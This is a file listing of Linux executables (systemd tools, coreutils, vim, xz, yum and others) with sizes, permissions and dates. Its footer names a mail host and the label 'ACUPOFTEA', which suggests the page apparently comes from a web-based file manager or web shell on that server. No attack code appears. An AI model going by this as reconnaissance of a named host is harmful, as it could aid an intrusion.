24.75 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-mount
application/x-sharedlib
52.63 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-notify
application/x-sharedlib
16.03 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-path
application/x-sharedlib
16.02 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-resolve
application/x-sharedlib
195.74 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-run
application/x-sharedlib
48.94 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-socket-activate
application/x-sharedlib
24.77 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-stdio-bridge
application/x-sharedlib
16.02 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-sysusers
application/x-sharedlib
53.05 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-tmpfiles
application/x-sharedlib
73.29 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-tty-ask-password-agent
application/x-sharedlib
32.82 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-umount
application/x-sharedlib
52.63 KB
-rwxr-xr-x
2025-04-22 01:58:57
tabs
application/x-sharedlib
16.55 KB
-rwxr-xr-x
2023-10-14 06:54:49
tac
application/x-sharedlib
41.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
tail
application/x-sharedlib
74.2 KB
-rwxr-xr-x
2023-04-01 08:44:39
tapestat
application/x-sharedlib
41.32 KB
-rwxr-xr-x
2024-07-03 09:57:26
tar
application/x-sharedlib
448.99 KB
-rwxr-xr-x
2025-08-26 08:57:37
taskset
application/x-sharedlib
37.25 KB
-rwxr-xr-x
2024-04-06 01:02:53
tbl
application/x-sharedlib
154.61 KB
-rwxr-xr-x
2019-10-13 02:29:41
tcamgr
application/x-sharedlib
25.13 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcamttest
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcatest
application/x-sharedlib
57.6 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbmgr
application/x-sharedlib
29.1 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbmttest
application/x-sharedlib
53.22 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbtest
application/x-sharedlib
69.56 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcfmgr
application/x-sharedlib
25.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcfmttest
application/x-sharedlib
37.2 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcftest
application/x-sharedlib
45.18 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchmgr
application/x-sharedlib
25.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchmttest
application/x-sharedlib
49.22 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchtest
application/x-sharedlib
57.53 KB
-rwxr-xr-x
2019-10-13 01:22:36
tclsh
application/x-sharedlib
9.04 KB
-rwxr-xr-x
2019-10-12 12:25:32
tclsh8.6
application/x-sharedlib
9.04 KB
-rwxr-xr-x
2019-10-12 12:25:32
tcptraceroute
text/x-shellscript
1.55 KB
-rwxr-xr-x
2025-03-11 07:45:53
tctmgr
application/x-sharedlib
37.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tctmttest
application/x-sharedlib
45.2 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcttest
application/x-sharedlib
57.19 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcucodec
application/x-sharedlib
37.08 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcumttest
application/x-sharedlib
25.16 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcutest
application/x-sharedlib
73.17 KB
-rwxr-xr-x
2019-10-13 01:22:36
teamd
application/x-sharedlib
160.52 KB
-rwxr-xr-x
2023-03-31 08:40:53
teamdctl
application/x-sharedlib
30.37 KB
-rwxr-xr-x
2023-03-31 08:40:53
teamnl
application/x-sharedlib
20.47 KB
-rwxr-xr-x
2023-03-31 08:40:53
tee
application/x-sharedlib
41.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
telnet
application/x-sharedlib
104.88 KB
-rwxr-xr-x
2021-04-09 10:39:55
test
application/x-sharedlib
53.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
tic
application/x-sharedlib
85.31 KB
-rwxr-xr-x
2023-10-14 06:54:49
timedatectl
application/x-sharedlib
36.96 KB
-rwxr-xr-x
2025-04-22 01:58:57
timeout
application/x-sharedlib
41.93 KB
-rwxr-xr-x
2023-04-01 08:44:39
tload
application/x-sharedlib
16.76 KB
-rwxr-xr-x
2023-10-14 08:31:02
tmon
application/x-sharedlib
39.63 KB
-rwxr-xr-x
2025-10-20 08:13:35
tmpwatch
application/x-sharedlib
35.47 KB
-rwxr-xr-x
2019-10-12 11:32:29
toe
application/x-sharedlib
16.45 KB
-rwxr-xr-x
2023-10-14 06:54:49
top
application/x-sharedlib
121.7 KB
-rwxr-xr-x
2023-10-14 08:31:02
touch
application/x-sharedlib
94.02 KB
-rwxr-xr-x
2023-04-01 08:44:39
tput
application/x-sharedlib
24.8 KB
-rwxr-xr-x
2023-10-14 06:54:49
tr
application/x-sharedlib
49.7 KB
-rwxr-xr-x
2023-04-01 08:44:39
tracepath
application/x-sharedlib
20.44 KB
-rwxr-xr-x
2023-10-14 05:19:01
traceroute
application/x-sharedlib
70.97 KB
-rwxr-xr-x
2025-03-11 07:45:53
traceroute6
application/x-sharedlib
70.97 KB
-rwxr-xr-x
2025-03-11 07:45:53
tred
application/x-sharedlib
16.59 KB
-rwxr-xr-x
2024-04-06 12:47:15
troff
application/x-sharedlib
805.02 KB
-rwxr-xr-x
2019-10-13 02:29:41
true
application/x-sharedlib
33.4 KB
-rwxr-xr-x
2023-04-01 08:44:39
truncate
application/x-sharedlib
41.44 KB
-rwxr-xr-x
2023-04-01 08:44:39
trust
application/x-sharedlib
219.55 KB
-rwxr-xr-x
2024-04-06 02:16:19
tset
application/x-sharedlib
24.76 KB
-rwxr-xr-x
2023-10-14 06:54:49
tsort
application/x-sharedlib
41.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
tty
application/x-sharedlib
33.39 KB
-rwxr-xr-x
2023-04-01 08:44:39
turbostat
application/x-sharedlib
130.8 KB
-rwxr-xr-x
2025-10-20 08:13:35
twopi
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
type
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
tzselect
text/x-shellscript
15.01 KB
-rwxr-xr-x
2025-08-05 02:01:06
uapi
application/x-executable
3.18 MB
-rwxr-xr-x
2025-10-16 10:57:41
ucs2any
application/x-sharedlib
24.41 KB
-rwxr-xr-x
2021-10-09 11:42:47
udevadm
application/x-sharedlib
424.59 KB
-rwxr-xr-x
2025-04-22 01:58:57
ul
application/x-sharedlib
20.58 KB
-rwxr-xr-x
2024-04-06 01:02:53
ulimit
text/x-shellscript
30 B
-rwxr-xr-x
2025-08-26 08:48:39
umask
text/x-shellscript
29 B
-rwxr-xr-x
2025-08-26 08:48:39
umount
application/x-sharedlib
32.75 KB
-rwsr-xr-x
2024-04-06 01:02:53
unalias
text/x-shellscript
31 B
-rwxr-xr-x
2025-08-26 08:48:39
uname
application/x-sharedlib
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
uname26
application/x-sharedlib
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
unexpand
application/x-sharedlib
45.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
unflatten
application/x-sharedlib
16.63 KB
-rwxr-xr-x
2024-04-06 12:47:15
unicode_start
text/x-shellscript
2.55 KB
-rwxr-xr-x
2023-10-14 08:59:57
unicode_stop
text/x-shellscript
363 B
-rwxr-xr-x
2023-10-14 08:59:56
uniq
application/x-sharedlib
49.72 KB
-rwxr-xr-x
2023-04-01 08:44:39
unlink
application/x-sharedlib
33.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
unlzma
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
unpigz
application/x-sharedlib
125.38 KB
-rwxr-xr-x
2020-06-01 03:15:34
unshare
application/x-sharedlib
24.92 KB
-rwxr-xr-x
2024-04-06 01:02:53
unversioned-python
text/x-shellscript
157 B
-rwxr-xr-x
2025-08-26 09:08:20
unxz
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
unzip
application/x-sharedlib
201.88 KB
-rwxr-xr-x
2025-06-03 02:10:12
unzipsfx
application/x-sharedlib
101.48 KB
-rwxr-xr-x
2025-06-03 02:10:12
update-ca-trust
text/x-shellscript
1.24 KB
-rwxr-xr-x
2024-08-21 07:16:41
update-crypto-policies
text/plain
87 B
-rwxr-xr-x
2023-08-01 03:18:06
update-gtk-immodules
text/x-shellscript
313 B
-rwxr-xr-x
2021-04-06 01:52:28
update-mime-database
application/x-sharedlib
57.22 KB
-rwxr-xr-x
2024-04-06 02:07:10
uptime
application/x-sharedlib
12.59 KB
-rwxr-xr-x
2023-10-14 08:31:02
users
application/x-sharedlib
37.47 KB
-rwxr-xr-x
2023-04-01 08:44:39
usleep
application/x-sharedlib
11.85 KB
-rwxr-xr-x
2022-10-08 11:08:06
utmpdump
application/x-sharedlib
28.66 KB
-rwxr-xr-x
2024-04-06 01:02:53
uuclient
application/x-sharedlib
15.88 KB
-rwxr-xr-x
2025-06-03 02:06:30
uuidgen
application/x-sharedlib
16.37 KB
-rwxr-xr-x
2024-04-06 01:02:53
uuidparse
application/x-sharedlib
37.13 KB
-rwxr-xr-x
2024-04-06 01:02:53
vacuumdb
application/x-sharedlib
78.46 KB
-rwxr-xr-x
2024-02-27 08:25:00
vdir
application/x-sharedlib
139.97 KB
-rwxr-xr-x
2023-04-01 08:44:39
vi
application/x-sharedlib
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
view
application/x-sharedlib
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
vim
application/x-sharedlib
2.93 MB
-rwxr-xr-x
2025-10-12 12:23:15
vimdiff
application/x-sharedlib
2.93 MB
-rwxr-xr-x
2025-10-12 12:23:15
vimdot
text/x-shellscript
1.06 KB
-rwxr-xr-x
2024-04-06 12:47:05
vimtutor
text/x-shellscript
2.07 KB
-rwxr-xr-x
2025-10-12 12:23:12
vlock
application/x-sharedlib
20.83 KB
-rwxr-xr-x
2023-10-14 09:01:01
vmstat
application/x-sharedlib
36.79 KB
-rwxr-xr-x
2023-10-14 08:31:02
w
application/x-sharedlib
20.75 KB
-rwxr-xr-x
2023-10-14 08:31:02
wait
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
wall
application/x-sharedlib
33.05 KB
-rwxr-xr-x
2024-04-06 01:02:53
watch
application/x-sharedlib
29.19 KB
-rwxr-xr-x
2023-10-14 08:31:02
watchgnupg
application/x-sharedlib
16.43 KB
-rwxr-xr-x
2022-09-13 10:15:05
wc
application/x-sharedlib
49.72 KB
-rwxr-xr-x
2023-04-01 08:44:39
wdctl
application/x-sharedlib
36.98 KB
-rwxr-xr-x
2024-04-06 01:02:53
wget
application/x-sharedlib
521.41 KB
-rwxr-xr-x
2024-08-13 10:22:56
whatis
application/x-sharedlib
54.04 KB
-rwxr-xr-x
2021-10-08 01:04:46
whereis
application/x-sharedlib
29.27 KB
-rwxr-xr-x
2024-04-06 01:02:53
which
application/x-sharedlib
29.38 KB
-rwxr-xr-x
2025-08-26 08:54:45
whiptail
application/x-sharedlib
33.09 KB
-rwxr-xr-x
2020-06-01 02:11:18
who
application/x-sharedlib
53.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
whoami
application/x-sharedlib
33.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
wish
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-16 05:25:14
wish8.6
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-16 05:25:14
wmf2eps
application/x-sharedlib
17.15 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2fig
application/x-sharedlib
17.15 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2gd
application/x-sharedlib
17.14 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2svg
application/x-sharedlib
17.16 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2x
application/x-sharedlib
17.13 KB
-rwxr-xr-x
2019-10-14 03:47:09
word-list-compress
application/x-sharedlib
11.99 KB
-rwxr-xr-x
2022-04-18 03:10:53
write
application/x-sharedlib
20.62 KB
-rwxr-sr-x
2024-04-06 01:02:53
wsrep_sst_backup
text/x-shellscript
2.39 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_common
text/plain
66.86 KB
-rw-r--r--
2025-07-28 03:57:47
wsrep_sst_mariabackup
text/x-shellscript
49.47 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_mysqldump
text/x-shellscript
8.1 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_rsync
text/x-shellscript
29.72 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_rsync_wan
text/x-shellscript
29.72 KB
-rwxr-xr-x
2025-07-28 03:57:47
x86_64
application/x-sharedlib
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
x86_64-redhat-linux-c++
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
x86_64-redhat-linux-g++
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
x86_64-redhat-linux-gcc
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
x86_64-redhat-linux-gcc-8
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
x86_64-redhat-linux-gnu-pkg-config
text/x-shellscript
424 B
-rwxr-xr-x
2019-10-13 06:57:31
x86_energy_perf_policy
application/x-sharedlib
31.95 KB
-rwxr-xr-x
2025-10-20 08:13:35
xargs
application/x-sharedlib
74.11 KB
-rwxr-xr-x
2024-09-24 02:19:34
xgamma
application/x-sharedlib
17.08 KB
-rwxr-xr-x
2019-10-15 01:08:41
xgettext
application/x-sharedlib
283.88 KB
-rwxr-xr-x
2019-11-18 05:17:29
xhost
application/x-sharedlib
17.12 KB
-rwxr-xr-x
2019-10-15 01:08:41
xinput
application/x-sharedlib
63.61 KB
-rwxr-xr-x
2019-10-15 01:08:41
xkill
application/x-sharedlib
17.1 KB
-rwxr-xr-x
2019-10-15 01:08:41
xml2-config
text/x-shellscript
1.71 KB
-rwxr-xr-x
2017-07-23 05:10:06
xmlcatalog
application/x-sharedlib
20.38 KB
-rwxr-xr-x
2025-08-06 01:59:35
xmllint
application/x-sharedlib
73.37 KB
-rwxr-xr-x
2025-08-06 01:59:35
xmlwf
application/x-sharedlib
32.96 KB
-rwxr-xr-x
2025-04-15 07:58:56
xmodmap
application/x-sharedlib
39.98 KB
-rwxr-xr-x
2019-10-15 01:08:41
xorg-x11-fonts-update-dirs
text/x-shellscript
1.29 KB
-rwxr--r--
2021-10-09 11:42:46
xrandr
application/x-sharedlib
65.46 KB
-rwxr-xr-x
2019-10-15 01:08:41
xrdb
application/x-sharedlib
33.98 KB
-rwxr-xr-x
2019-10-15 01:08:41
xrefresh
application/x-sharedlib
17.94 KB
-rwxr-xr-x
2019-10-15 01:08:41
xset
application/x-sharedlib
37.2 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsetpointer
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsetroot
application/x-sharedlib
21.44 KB
-rwxr-xr-x
2019-10-15 01:08:41
xslt-config
text/x-shellscript
2.36 KB
-rwxr-xr-x
2015-05-10 02:11:30
xsltproc
application/x-sharedlib
28.47 KB
-rwxr-xr-x
2025-08-26 08:55:17
xstdcmap
application/x-sharedlib
17.68 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsubpp
text/x-perl
4.96 KB
-rwxr-xr-x
2019-10-13 08:58:35
xxd
application/x-sharedlib
20.54 KB
-rwxr-xr-x
2025-10-12 12:23:15
xz
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzcat
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzcmp
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzdec
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzdiff
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzegrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzfgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzless
text/x-shellscript
1.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzmore
text/x-shellscript
2.11 KB
-rwxr-xr-x
2022-06-14 01:03:30
yat2m
application/x-sharedlib
33.34 KB
-rwxr-xr-x
2019-10-12 12:20:46
yes
application/x-sharedlib
33.45 KB
-rwxr-xr-x
2023-04-01 08:44:39
ypdomainname
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
yum
text/x-python
2.05 KB
-rwxr-xr-x
2025-03-11 09:47:56
yum-builddep
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-config-manager
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-debug-dump
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-debug-restore
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-groups-manager
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yumdownloader
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
zcat
text/x-shellscript
1.94 KB
-rwxr-xr-x
2022-04-27 05:49:28
zcmp
text/x-shellscript
1.64 KB
-rwxr-xr-x
2022-04-27 05:49:28
zdiff
text/x-shellscript
5.74 KB
-rwxr-xr-x
2022-04-27 05:49:28
zegrep
text/x-shellscript
29 B
-rwxr-xr-x
2022-04-27 05:49:28
zfgrep
text/x-shellscript
29 B
-rwxr-xr-x
2022-04-27 05:49:28
zforce
text/x-shellscript
2.03 KB
-rwxr-xr-x
2022-04-27 05:49:28
zgrep
text/x-shellscript
7.4 KB
-rwxr-xr-x
2022-04-27 05:49:28
zip
application/x-sharedlib
229 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipcloak
application/x-sharedlib
102.91 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipdetails
text/x-perl
49.39 KB
-rwxr-xr-x
2019-10-13 09:48:20
zipgrep
text/x-shellscript
2.88 KB
-rwxr-xr-x
2008-10-10 05:40:36
zipinfo
application/x-sharedlib
201.88 KB
-rwxr-xr-x
2025-06-03 02:10:12
zipnote
application/x-sharedlib
97.76 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipsplit
application/x-sharedlib
97.76 KB
-rwxr-xr-x
2019-10-11 01:11:04
zless
text/x-shellscript
2.15 KB
-rwxr-xr-x
2022-04-27 05:49:28
zmore
text/x-shellscript
1.8 KB
-rwxr-xr-x
2022-04-27 05:49:28
znew
text/x-shellscript
4.45 KB
-rwxr-xr-x
2022-04-27 05:49:28
zsoelim
application/x-sharedlib
42.55 KB
-rwxr-xr-x
2019-10-13 02:29:41
~ ACUPOFTEA - mail.ontime-ae.com